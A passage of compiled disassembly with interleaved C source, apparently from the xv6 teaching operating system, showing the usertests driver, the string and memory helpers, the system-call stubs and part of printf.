3b64: 89 e5 mov %esp,%ebp
3b66: 51 push %ecx
3b67: 83 ec 04 sub $0x4,%esp
printf(1, "usertests starting\n");
3b6a: 83 ec 08 sub $0x8,%esp
3b6d: 68 6f 5b 00 00 push $0x5b6f
3b72: 6a 01 push $0x1
3b74: e8 c5 04 00 00 call 403e <printf>
3b79: 83 c4 10 add $0x10,%esp
if(open("usertests.ran", 0) >= 0){
3b7c: 83 ec 08 sub $0x8,%esp
3b7f: 6a 00 push $0x0
3b81: 68 83 5b 00 00 push $0x5b83
3b86: e8 80 03 00 00 call 3f0b <open>
3b8b: 83 c4 10 add $0x10,%esp
3b8e: 85 c0 test %eax,%eax
3b90: 78 17 js 3ba9 <main+0x50>
printf(1, "already ran user tests -- rebuild fs.img\n");
3b92: 83 ec 08 sub $0x8,%esp
3b95: 68 94 5b 00 00 push $0x5b94
3b9a: 6a 01 push $0x1
3b9c: e8 9d 04 00 00 call 403e <printf>
3ba1: 83 c4 10 add $0x10,%esp
exit();
3ba4: e8 22 03 00 00 call 3ecb <exit>
}
close(open("usertests.ran", O_CREATE));
3ba9: 83 ec 08 sub $0x8,%esp
3bac: 68 00 02 00 00 push $0x200
3bb1: 68 83 5b 00 00 push $0x5b83
3bb6: e8 50 03 00 00 call 3f0b <open>
3bbb: 83 c4 10 add $0x10,%esp
3bbe: 83 ec 0c sub $0xc,%esp
3bc1: 50 push %eax
3bc2: e8 2c 03 00 00 call 3ef3 <close>
3bc7: 83 c4 10 add $0x10,%esp
createdelete();
3bca: e8 db d6 ff ff call 12aa <createdelete>
linkunlink();
3bcf: e8 fc e0 ff ff call 1cd0 <linkunlink>
concreate();
3bd4: e8 47 dd ff ff call 1920 <concreate>
fourfiles();
3bd9: e8 7b d4 ff ff call 1059 <fourfiles>
sharedfd();
3bde: e8 93 d2 ff ff call e76 <sharedfd>
bigargtest();
3be3: e8 6f fb ff ff call 3757 <bigargtest>
bigwrite();
3be8: e8 d5 ea ff ff call 26c2 <bigwrite>
bigargtest();
3bed: e8 65 fb ff ff call 3757 <bigargtest>
bsstest();
3bf2: e8 ea fa ff ff call 36e1 <bsstest>
sbrktest();
3bf7: e8 f9 f4 ff ff call 30f5 <sbrktest>
validatetest();
3bfc: e8 02 fa ff ff call 3603 <validatetest>
opentest();
3c01: e8 f9 c6 ff ff call 2ff <opentest>
writetest();
3c06: e8 a3 c7 ff ff call 3ae <writetest>
writetest1();
3c0b: e8 ae c9 ff ff call 5be <writetest1>
createtest();
3c10: e8 a5 cb ff ff call 7ba <createtest>
openiputtest();
3c15: e8 d6 c5 ff ff call 1f0 <openiputtest>
exitiputtest();
3c1a: e8 d2 c4 ff ff call f1 <exitiputtest>
iputtest();
3c1f: e8 dc c3 ff ff call 0 <iputtest>
mem();
3c24: e8 5c d1 ff ff call d85 <mem>
pipe1();
3c29: e8 93 cd ff ff call 9c1 <pipe1>
preempt();
3c2e: e8 77 cf ff ff call baa <preempt>
exitwait();
3c33: e8 d5 d0 ff ff call d0d <exitwait>
rmdot();
3c38: e8 f7 ee ff ff call 2b34 <rmdot>
fourteen();
3c3d: e8 96 ed ff ff call 29d8 <fourteen>
bigfile();
3c42: e8 79 eb ff ff call 27c0 <bigfile>
subdir();
3c47: e8 32 e3 ff ff call 1f7e <subdir>
linktest();
3c4c: e8 8d da ff ff call 16de <linktest>
unlinkread();
3c51: e8 c6 d8 ff ff call 151c <unlinkread>
dirfile();
3c56: e8 5e f0 ff ff call 2cb9 <dirfile>
iref();
3c5b: e8 91 f2 ff ff call 2ef1 <iref>
forktest();
3c60: e8 c6 f3 ff ff call 302b <forktest>
bigdir(); // slow
3c65: e8 9f e1 ff ff call 1e09 <bigdir>
exectest();
3c6a: e8 ff cc ff ff call 96e <exectest>
exit();
3c6f: e8 57 02 00 00 call 3ecb <exit>
00003c74 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
3c74: 55 push %ebp
3c75: 89 e5 mov %esp,%ebp
3c77: 57 push %edi
3c78: 53 push %ebx
asm volatile("cld; rep stosb" :
3c79: 8b 4d 08 mov 0x8(%ebp),%ecx
3c7c: 8b 55 10 mov 0x10(%ebp),%edx
3c7f: 8b 45 0c mov 0xc(%ebp),%eax
3c82: 89 cb mov %ecx,%ebx
3c84: 89 df mov %ebx,%edi
3c86: 89 d1 mov %edx,%ecx
3c88: fc cld
3c89: f3 aa rep stos %al,%es:(%edi)
3c8b: 89 ca mov %ecx,%edx
3c8d: 89 fb mov %edi,%ebx
3c8f: 89 5d 08 mov %ebx,0x8(%ebp)
3c92: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
3c95: 90 nop
3c96: 5b pop %ebx
3c97: 5f pop %edi
3c98: 5d pop %ebp
3c99: c3 ret
00003c9a <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
3c9a: 55 push %ebp
3c9b: 89 e5 mov %esp,%ebp
3c9d: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
3ca0: 8b 45 08 mov 0x8(%ebp),%eax
3ca3: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
3ca6: 90 nop
3ca7: 8b 55 0c mov 0xc(%ebp),%edx
3caa: 8d 42 01 lea 0x1(%edx),%eax
3cad: 89 45 0c mov %eax,0xc(%ebp)
3cb0: 8b 45 08 mov 0x8(%ebp),%eax
3cb3: 8d 48 01 lea 0x1(%eax),%ecx
3cb6: 89 4d 08 mov %ecx,0x8(%ebp)
3cb9: 0f b6 12 movzbl (%edx),%edx
3cbc: 88 10 mov %dl,(%eax)
3cbe: 0f b6 00 movzbl (%eax),%eax
3cc1: 84 c0 test %al,%al
3cc3: 75 e2 jne 3ca7 <strcpy+0xd>
;
return os;
3cc5: 8b 45 fc mov -0x4(%ebp),%eax
}
3cc8: c9 leave
3cc9: c3 ret
00003cca <strcmp>:
int
strcmp(const char *p, const char *q)
{
3cca: 55 push %ebp
3ccb: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
3ccd: eb 08 jmp 3cd7 <strcmp+0xd>
p++, q++;
3ccf: 83 45 08 01 addl $0x1,0x8(%ebp)
3cd3: 83 45 0c 01 addl $0x1,0xc(%ebp)
while(*p && *p == *q)
3cd7: 8b 45 08 mov 0x8(%ebp),%eax
3cda: 0f b6 00 movzbl (%eax),%eax
3cdd: 84 c0 test %al,%al
3cdf: 74 10 je 3cf1 <strcmp+0x27>
3ce1: 8b 45 08 mov 0x8(%ebp),%eax
3ce4: 0f b6 10 movzbl (%eax),%edx
3ce7: 8b 45 0c mov 0xc(%ebp),%eax
3cea: 0f b6 00 movzbl (%eax),%eax
3ced: 38 c2 cmp %al,%dl
3cef: 74 de je 3ccf <strcmp+0x5>
return (uchar)*p - (uchar)*q;
3cf1: 8b 45 08 mov 0x8(%ebp),%eax
3cf4: 0f b6 00 movzbl (%eax),%eax
3cf7: 0f b6 d0 movzbl %al,%edx
3cfa: 8b 45 0c mov 0xc(%ebp),%eax
3cfd: 0f b6 00 movzbl (%eax),%eax
3d00: 0f b6 c0 movzbl %al,%eax
3d03: 29 c2 sub %eax,%edx
3d05: 89 d0 mov %edx,%eax
}
3d07: 5d pop %ebp
3d08: c3 ret
00003d09 <strlen>:
uint
strlen(char *s)
{
3d09: 55 push %ebp
3d0a: 89 e5 mov %esp,%ebp
3d0c: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
3d0f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
3d16: eb 04 jmp 3d1c <strlen+0x13>
3d18: 83 45 fc 01 addl $0x1,-0x4(%ebp)
3d1c: 8b 55 fc mov -0x4(%ebp),%edx
3d1f: 8b 45 08 mov 0x8(%ebp),%eax
3d22: 01 d0 add %edx,%eax
3d24: 0f b6 00 movzbl (%eax),%eax
3d27: 84 c0 test %al,%al
3d29: 75 ed jne 3d18 <strlen+0xf>
;
return n;
3d2b: 8b 45 fc mov -0x4(%ebp),%eax
}
3d2e: c9 leave
3d2f: c3 ret
00003d30 <memset>:
void*
memset(void *dst, int c, uint n)
{
3d30: 55 push %ebp
3d31: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
3d33: 8b 45 10 mov 0x10(%ebp),%eax
3d36: 50 push %eax
3d37: ff 75 0c pushl 0xc(%ebp)
3d3a: ff 75 08 pushl 0x8(%ebp)
3d3d: e8 32 ff ff ff call 3c74 <stosb>
3d42: 83 c4 0c add $0xc,%esp
return dst;
3d45: 8b 45 08 mov 0x8(%ebp),%eax
}
3d48: c9 leave
3d49: c3 ret
00003d4a <strchr>:
char*
strchr(const char *s, char c)
{
3d4a: 55 push %ebp
3d4b: 89 e5 mov %esp,%ebp
3d4d: 83 ec 04 sub $0x4,%esp
3d50: 8b 45 0c mov 0xc(%ebp),%eax
3d53: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
3d56: eb 14 jmp 3d6c <strchr+0x22>
if(*s == c)
3d58: 8b 45 08 mov 0x8(%ebp),%eax
3d5b: 0f b6 00 movzbl (%eax),%eax
3d5e: 38 45 fc cmp %al,-0x4(%ebp)
3d61: 75 05 jne 3d68 <strchr+0x1e>
return (char*)s;
3d63: 8b 45 08 mov 0x8(%ebp),%eax
3d66: eb 13 jmp 3d7b <strchr+0x31>
for(; *s; s++)
3d68: 83 45 08 01 addl $0x1,0x8(%ebp)
3d6c: 8b 45 08 mov 0x8(%ebp),%eax
3d6f: 0f b6 00 movzbl (%eax),%eax
3d72: 84 c0 test %al,%al
3d74: 75 e2 jne 3d58 <strchr+0xe>
return 0;
3d76: b8 00 00 00 00 mov $0x0,%eax
}
3d7b: c9 leave
3d7c: c3 ret
00003d7d <gets>:
char*
gets(char *buf, int max)
{
3d7d: 55 push %ebp
3d7e: 89 e5 mov %esp,%ebp
3d80: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
3d83: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3d8a: eb 42 jmp 3dce <gets+0x51>
cc = read(0, &c, 1);
3d8c: 83 ec 04 sub $0x4,%esp
3d8f: 6a 01 push $0x1
3d91: 8d 45 ef lea -0x11(%ebp),%eax
3d94: 50 push %eax
3d95: 6a 00 push $0x0
3d97: e8 47 01 00 00 call 3ee3 <read>
3d9c: 83 c4 10 add $0x10,%esp
3d9f: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
3da2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3da6: 7e 33 jle 3ddb <gets+0x5e>
break;
buf[i++] = c;
3da8: 8b 45 f4 mov -0xc(%ebp),%eax
3dab: 8d 50 01 lea 0x1(%eax),%edx
3dae: 89 55 f4 mov %edx,-0xc(%ebp)
3db1: 89 c2 mov %eax,%edx
3db3: 8b 45 08 mov 0x8(%ebp),%eax
3db6: 01 c2 add %eax,%edx
3db8: 0f b6 45 ef movzbl -0x11(%ebp),%eax
3dbc: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
3dbe: 0f b6 45 ef movzbl -0x11(%ebp),%eax
3dc2: 3c 0a cmp $0xa,%al
3dc4: 74 16 je 3ddc <gets+0x5f>
3dc6: 0f b6 45 ef movzbl -0x11(%ebp),%eax
3dca: 3c 0d cmp $0xd,%al
3dcc: 74 0e je 3ddc <gets+0x5f>
for(i=0; i+1 < max; ){
3dce: 8b 45 f4 mov -0xc(%ebp),%eax
3dd1: 83 c0 01 add $0x1,%eax
3dd4: 39 45 0c cmp %eax,0xc(%ebp)
3dd7: 7f b3 jg 3d8c <gets+0xf>
3dd9: eb 01 jmp 3ddc <gets+0x5f>
break;
3ddb: 90 nop
break;
}
buf[i] = '\0';
3ddc: 8b 55 f4 mov -0xc(%ebp),%edx
3ddf: 8b 45 08 mov 0x8(%ebp),%eax
3de2: 01 d0 add %edx,%eax
3de4: c6 00 00 movb $0x0,(%eax)
return buf;
3de7: 8b 45 08 mov 0x8(%ebp),%eax
}
3dea: c9 leave
3deb: c3 ret
00003dec <stat>:
int
stat(char *n, struct stat *st)
{
3dec: 55 push %ebp
3ded: 89 e5 mov %esp,%ebp
3def: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
3df2: 83 ec 08 sub $0x8,%esp
3df5: 6a 00 push $0x0
3df7: ff 75 08 pushl 0x8(%ebp)
3dfa: e8 0c 01 00 00 call 3f0b <open>
3dff: 83 c4 10 add $0x10,%esp
3e02: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
3e05: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3e09: 79 07 jns 3e12 <stat+0x26>
return -1;
3e0b: b8 ff ff ff ff mov $0xffffffff,%eax
3e10: eb 25 jmp 3e37 <stat+0x4b>
r = fstat(fd, st);
3e12: 83 ec 08 sub $0x8,%esp
3e15: ff 75 0c pushl 0xc(%ebp)
3e18: ff 75 f4 pushl -0xc(%ebp)
3e1b: e8 03 01 00 00 call 3f23 <fstat>
3e20: 83 c4 10 add $0x10,%esp
3e23: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
3e26: 83 ec 0c sub $0xc,%esp
3e29: ff 75 f4 pushl -0xc(%ebp)
3e2c: e8 c2 00 00 00 call 3ef3 <close>
3e31: 83 c4 10 add $0x10,%esp
return r;
3e34: 8b 45 f0 mov -0x10(%ebp),%eax
}
3e37: c9 leave
3e38: c3 ret
00003e39 <atoi>:
int
atoi(const char *s)
{
3e39: 55 push %ebp
3e3a: 89 e5 mov %esp,%ebp
3e3c: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
3e3f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
3e46: eb 25 jmp 3e6d <atoi+0x34>
n = n*10 + *s++ - '0';
3e48: 8b 55 fc mov -0x4(%ebp),%edx
3e4b: 89 d0 mov %edx,%eax
3e4d: c1 e0 02 shl $0x2,%eax
3e50: 01 d0 add %edx,%eax
3e52: 01 c0 add %eax,%eax
3e54: 89 c1 mov %eax,%ecx
3e56: 8b 45 08 mov 0x8(%ebp),%eax
3e59: 8d 50 01 lea 0x1(%eax),%edx
3e5c: 89 55 08 mov %edx,0x8(%ebp)
3e5f: 0f b6 00 movzbl (%eax),%eax
3e62: 0f be c0 movsbl %al,%eax
3e65: 01 c8 add %ecx,%eax
3e67: 83 e8 30 sub $0x30,%eax
3e6a: 89 45 fc mov %eax,-0x4(%ebp)
while('0' <= *s && *s <= '9')
3e6d: 8b 45 08 mov 0x8(%ebp),%eax
3e70: 0f b6 00 movzbl (%eax),%eax
3e73: 3c 2f cmp $0x2f,%al
3e75: 7e 0a jle 3e81 <atoi+0x48>
3e77: 8b 45 08 mov 0x8(%ebp),%eax
3e7a: 0f b6 00 movzbl (%eax),%eax
3e7d: 3c 39 cmp $0x39,%al
3e7f: 7e c7 jle 3e48 <atoi+0xf>
return n;
3e81: 8b 45 fc mov -0x4(%ebp),%eax
}
3e84: c9 leave
3e85: c3 ret
00003e86 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
3e86: 55 push %ebp
3e87: 89 e5 mov %esp,%ebp
3e89: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
3e8c: 8b 45 08 mov 0x8(%ebp),%eax
3e8f: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
3e92: 8b 45 0c mov 0xc(%ebp),%eax
3e95: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
3e98: eb 17 jmp 3eb1 <memmove+0x2b>
*dst++ = *src++;
3e9a: 8b 55 f8 mov -0x8(%ebp),%edx
3e9d: 8d 42 01 lea 0x1(%edx),%eax
3ea0: 89 45 f8 mov %eax,-0x8(%ebp)
3ea3: 8b 45 fc mov -0x4(%ebp),%eax
3ea6: 8d 48 01 lea 0x1(%eax),%ecx
3ea9: 89 4d fc mov %ecx,-0x4(%ebp)
3eac: 0f b6 12 movzbl (%edx),%edx
3eaf: 88 10 mov %dl,(%eax)
while(n-- > 0)
3eb1: 8b 45 10 mov 0x10(%ebp),%eax
3eb4: 8d 50 ff lea -0x1(%eax),%edx
3eb7: 89 55 10 mov %edx,0x10(%ebp)
3eba: 85 c0 test %eax,%eax
3ebc: 7f dc jg 3e9a <memmove+0x14>
return vdst;
3ebe: 8b 45 08 mov 0x8(%ebp),%eax
}
3ec1: c9 leave
3ec2: c3 ret
00003ec3 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
3ec3: b8 01 00 00 00 mov $0x1,%eax
3ec8: cd 40 int $0x40
3eca: c3 ret
00003ecb <exit>:
SYSCALL(exit)
3ecb: b8 02 00 00 00 mov $0x2,%eax
3ed0: cd 40 int $0x40
3ed2: c3 ret
00003ed3 <wait>:
SYSCALL(wait)
3ed3: b8 03 00 00 00 mov $0x3,%eax
3ed8: cd 40 int $0x40
3eda: c3 ret
00003edb <pipe>:
SYSCALL(pipe)
3edb: b8 04 00 00 00 mov $0x4,%eax
3ee0: cd 40 int $0x40
3ee2: c3 ret
00003ee3 <read>:
SYSCALL(read)
3ee3: b8 05 00 00 00 mov $0x5,%eax
3ee8: cd 40 int $0x40
3eea: c3 ret
00003eeb <write>:
SYSCALL(write)
3eeb: b8 10 00 00 00 mov $0x10,%eax
3ef0: cd 40 int $0x40
3ef2: c3 ret
00003ef3 <close>:
SYSCALL(close)
3ef3: b8 15 00 00 00 mov $0x15,%eax
3ef8: cd 40 int $0x40
3efa: c3 ret
00003efb <kill>:
SYSCALL(kill)
3efb: b8 06 00 00 00 mov $0x6,%eax
3f00: cd 40 int $0x40
3f02: c3 ret
00003f03 <exec>:
SYSCALL(exec)
3f03: b8 07 00 00 00 mov $0x7,%eax
3f08: cd 40 int $0x40
3f0a: c3 ret
00003f0b <open>:
SYSCALL(open)
3f0b: b8 0f 00 00 00 mov $0xf,%eax
3f10: cd 40 int $0x40
3f12: c3 ret
00003f13 <mknod>:
SYSCALL(mknod)
3f13: b8 11 00 00 00 mov $0x11,%eax
3f18: cd 40 int $0x40
3f1a: c3 ret
00003f1b <unlink>:
SYSCALL(unlink)
3f1b: b8 12 00 00 00 mov $0x12,%eax
3f20: cd 40 int $0x40
3f22: c3 ret
00003f23 <fstat>:
SYSCALL(fstat)
3f23: b8 08 00 00 00 mov $0x8,%eax
3f28: cd 40 int $0x40
3f2a: c3 ret
00003f2b <link>:
SYSCALL(link)
3f2b: b8 13 00 00 00 mov $0x13,%eax
3f30: cd 40 int $0x40
3f32: c3 ret
00003f33 <mkdir>:
SYSCALL(mkdir)
3f33: b8 14 00 00 00 mov $0x14,%eax
3f38: cd 40 int $0x40
3f3a: c3 ret
00003f3b <chdir>:
SYSCALL(chdir)
3f3b: b8 09 00 00 00 mov $0x9,%eax
3f40: cd 40 int $0x40
3f42: c3 ret
00003f43 <dup>:
SYSCALL(dup)
3f43: b8 0a 00 00 00 mov $0xa,%eax
3f48: cd 40 int $0x40
3f4a: c3 ret
00003f4b <getpid>:
SYSCALL(getpid)
3f4b: b8 0b 00 00 00 mov $0xb,%eax
3f50: cd 40 int $0x40
3f52: c3 ret
00003f53 <sbrk>:
SYSCALL(sbrk)
3f53: b8 0c 00 00 00 mov $0xc,%eax
3f58: cd 40 int $0x40
3f5a: c3 ret
00003f5b <sleep>:
SYSCALL(sleep)
3f5b: b8 0d 00 00 00 mov $0xd,%eax
3f60: cd 40 int $0x40
3f62: c3 ret
00003f63 <uptime>:
SYSCALL(uptime)
3f63: b8 0e 00 00 00 mov $0xe,%eax
3f68: cd 40 int $0x40
3f6a: c3 ret
00003f6b <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
3f6b: 55 push %ebp
3f6c: 89 e5 mov %esp,%ebp
3f6e: 83 ec 18 sub $0x18,%esp
3f71: 8b 45 0c mov 0xc(%ebp),%eax
3f74: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
3f77: 83 ec 04 sub $0x4,%esp
3f7a: 6a 01 push $0x1
3f7c: 8d 45 f4 lea -0xc(%ebp),%eax
3f7f: 50 push %eax
3f80: ff 75 08 pushl 0x8(%ebp)
3f83: e8 63 ff ff ff call 3eeb <write>
3f88: 83 c4 10 add $0x10,%esp
}
3f8b: 90 nop
3f8c: c9 leave
3f8d: c3 ret
00003f8e <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3f8e: 55 push %ebp
3f8f: 89 e5 mov %esp,%ebp
3f91: 83 ec 28 sub $0x28,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3f94: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3f9b: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3f9f: 74 17 je 3fb8 <printint+0x2a>
3fa1: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3fa5: 79 11 jns 3fb8 <printint+0x2a>
neg = 1;
3fa7: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3fae: 8b 45 0c mov 0xc(%ebp),%eax
3fb1: f7 d8 neg %eax
3fb3: 89 45 ec mov %eax,-0x14(%ebp)
3fb6: eb 06 jmp 3fbe <printint+0x30>
} else {
x = xx;
3fb8: 8b 45 0c mov 0xc(%ebp),%eax
3fbb: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
3fbe: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
3fc5: 8b 4d 10 mov 0x10(%ebp),%ecx
3fc8: 8b 45 ec mov -0x14(%ebp),%eax
3fcb: ba 00 00 00 00 mov $0x0,%edx
3fd0: f7 f1 div %ecx
3fd2: 89 d1 mov %edx,%ecx
3fd4: 8b 45 f4 mov -0xc(%ebp),%eax
3fd7: 8d 50 01 lea 0x1(%eax),%edx
3fda: 89 55 f4 mov %edx,-0xc(%ebp)
3fdd: 0f b6 91 b0 62 00 00 movzbl 0x62b0(%ecx),%edx
3fe4: 88 54 05 dc mov %dl,-0x24(%ebp,%eax,1)
}while((x /= base) != 0);
3fe8: 8b 4d 10 mov 0x10(%ebp),%ecx
3feb: 8b 45 ec mov -0x14(%ebp),%eax
3fee: ba 00 00 00 00 mov $0x0,%edx
3ff3: f7 f1 div %ecx
3ff5: 89 45 ec mov %eax,-0x14(%ebp)
3ff8: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3ffc: 75 c7 jne 3fc5 <printint+0x37>
if(neg)
3ffe: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4002: 74 2d je 4031 <printint+0xa3>
buf[i++] = '-';
4004: 8b 45 f4 mov -0xc(%ebp),%eax
4007: 8d 50 01 lea 0x1(%eax),%edx
400a: 89 55 f4 mov %edx,-0xc(%ebp)
400d: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
4012: eb 1d jmp 4031 <printint+0xa3>
putc(fd, buf[i]);
4014: 8d 55 dc lea -0x24(%ebp),%edx
4017: 8b 45 f4 mov -0xc(%ebp),%eax
401a: 01 d0 add %edx,%eax
401c: 0f b6 00 movzbl (%eax),%eax
401f: 0f be c0 movsbl %al,%eax
4022: 83 ec 08 sub $0x8,%esp
4025: 50 push %eax
4026: ff 75 08 pushl 0x8(%ebp)
4029: e8 3d ff ff ff call 3f6b <putc>
402e: 83 c4 10 add $0x10,%esp
while(--i >= 0)
4031: 83 6d f4 01 subl $0x1,-0xc(%ebp)
4035: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4039: 79 d9 jns 4014 <printint+0x86>
}
403b: 90 nop
403c: c9 leave
403d: c3 ret
0000403e <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
403e: 55 push %ebp
403f: 89 e5 mov %esp,%ebp
4041: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
4044: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
404b: 8d 45 0c lea 0xc(%ebp),%eax
404e: 83 c0 04 add $0x4,%eax
4051: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
4054: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
405b: e9 59 01 00 00 jmp 41b9 <printf+0x17b>
c = fmt[i] & 0xff;
4060: 8b 55 0c mov 0xc(%ebp),%edx
4063: 8b 45 f0 mov -0x10(%ebp),%eax
4066: 01 d0 add %edx,%eax
4068: 0f b6 00 movzbl (%eax),%eax
406b: 0f be c0 movsbl %al,%eax
406e: 25 ff 00 00 00 and $0xff,%eax
4073: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
4076: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
407a: 75 2c jne 40a8 <printf+0x6a>
if(c == '%'){
407c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4080: 75 0c jne 408e <printf+0x50>
state = '%';
4082: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
4089: e9 27 01 00 00 jmp 41b5 <printf+0x177>
} else {
putc(fd, c);
408e: 8b 45 e4 mov -0x1c(%ebp),%eax
4091: 0f be c0 movsbl %al,%eax
4094: 83 ec 08 sub $0x8,%esp
4097: 50 push %eax
4098: ff 75 08 pushl 0x8(%ebp)
409b: e8 cb fe ff ff call 3f6b <putc>
40a0: 83 c4 10 add $0x10,%esp
40a3: e9 0d 01 00 00 jmp 41b5 <printf+0x177>
}
} else if(state == '%'){
40a8: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
40ac: 0f 85 03 01 00 00 jne 41b5 <printf+0x177>
if(c == 'd'){
40b2: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
40b6: 75 1e jne 40d6 <printf+0x98>
printint(fd, *ap, 10, 1);
40b8: 8b 45 e8 mov -0x18(%ebp),%eax
40bb: 8b 00 mov (%eax),%eax
40bd: 6a 01 push $0x1
40bf: 6a 0a push $0xa
40c1: 50 push %eax
40c2: ff 75 08 pushl 0x8(%ebp)
40c5: e8 c4 fe ff ff call 3f8e <printint>
40ca: 83 c4 10 add $0x10,%esp
ap++;
40cd: 83 45 e8 04 addl $0x4,-0x18(%ebp)
40d1: e9 d8 00 00 00 jmp 41ae <printf+0x170>
} else if(c == 'x' || c == 'p'){
40d6: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
40da: 74 06 je 40e2 <printf+0xa4>
40dc: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
40e0: 75 1e jne 4100 <printf+0xc2>
printint(fd, *ap, 16, 0);
40e2: 8b 45 e8 mov -0x18(%ebp),%eax
40e5: 8b 00 mov (%eax),%eax
40e7: 6a 00 push $0x0
40e9: 6a 10 push $0x10
40eb: 50 push %eax
40ec: ff 75 08 pushl 0x8(%ebp)
40ef: e8 9a fe ff ff call 3f8e <printint>
40f4: 83 c4 10 add $0x10,%esp
ap++;
40f7: 83 45 e8 04 addl $0x4,-0x18(%ebp)
40fb: e9 ae 00 00 00 jmp 41ae <printf+0x170>
} else if(c == 's'){
4100: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
4104: 75 43 jne 4149 <printf+0x10b>
s = (char*)*ap;
4106: 8b 45 e8 mov -0x18(%ebp),%eax
4109: 8b 00 mov (%eax),%eax
410b: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
410e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
4112: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4116: 75 25 jne 413d <printf+0xff>
s = "(null)";
4118: c7 45 f4 be 5b 00 00 movl $0x5bbe,-0xc(%ebp)
while(*s != 0){
411f: eb 1c jmp 413d <printf+0xff>
putc(fd, *s);
4121: 8b 45 f4 mov -0xc(%ebp),%eax
4124: 0f b6 00 movzbl (%eax),%eax
4127: 0f be c0 movsbl %al,%eax
412a: 83 ec 08 sub $0x8,%esp
412d: 50 push %eax
412e: ff 75 08 pushl 0x8(%ebp)
4131: e8 35 fe ff ff call 3f6b <putc>
4136: 83 c4 10 add $0x10,%esp
s++;
4139: 83 45 f4 01 addl $0x1,-0xc(%ebp)
while(*s != 0){
413d: 8b 45 f4 mov -0xc(%ebp),%eax
4140: 0f b6 00 movzbl (%eax),%eax
4143: 84 c0 test %al,%al
4145: 75 da jne 4121 <printf+0xe3>
4147: eb 65 jmp 41ae <printf+0x170>
}
} else if(c == 'c'){
4149: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
414d: 75 1d jne 416c <printf+0x12e>
putc(fd, *ap);
414f: 8b 45 e8 mov -0x18(%ebp),%eax
4152: 8b 00 mov (%eax),%eax
4154: 0f be c0 movsbl %al,%eax
4157: 83 ec 08 sub $0x8,%esp
415a: 50 push %eax
415b: ff 75 08 pushl 0x8(%ebp)
415e: e8 08 fe ff ff call 3f6b <putc>
4163: 83 c4 10 add $0x10,%esp
ap++;
4166: 83 45 e8 04 addl $0x4,-0x18(%ebp)
416a: eb 42 jmp 41ae <printf+0x170>
} else if(c == '%'){
416c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4170: 75 17 jne 4189 <printf+0x14b>
putc(fd, c);
4172: 8b 45 e4 mov -0x1c(%ebp),%eax
4175: 0f be c0 movsbl %al,%eax
4178: 83 ec 08 sub $0x8,%esp
417b: 50 push %eax
417c: ff 75 08 pushl 0x8(%ebp)
417f: e8 e7 fd ff ff call 3f6b <putc>
4184: 83 c4 10 add $0x10,%esp
4187: eb 25 jmp 41ae <printf+0x170>
} else {
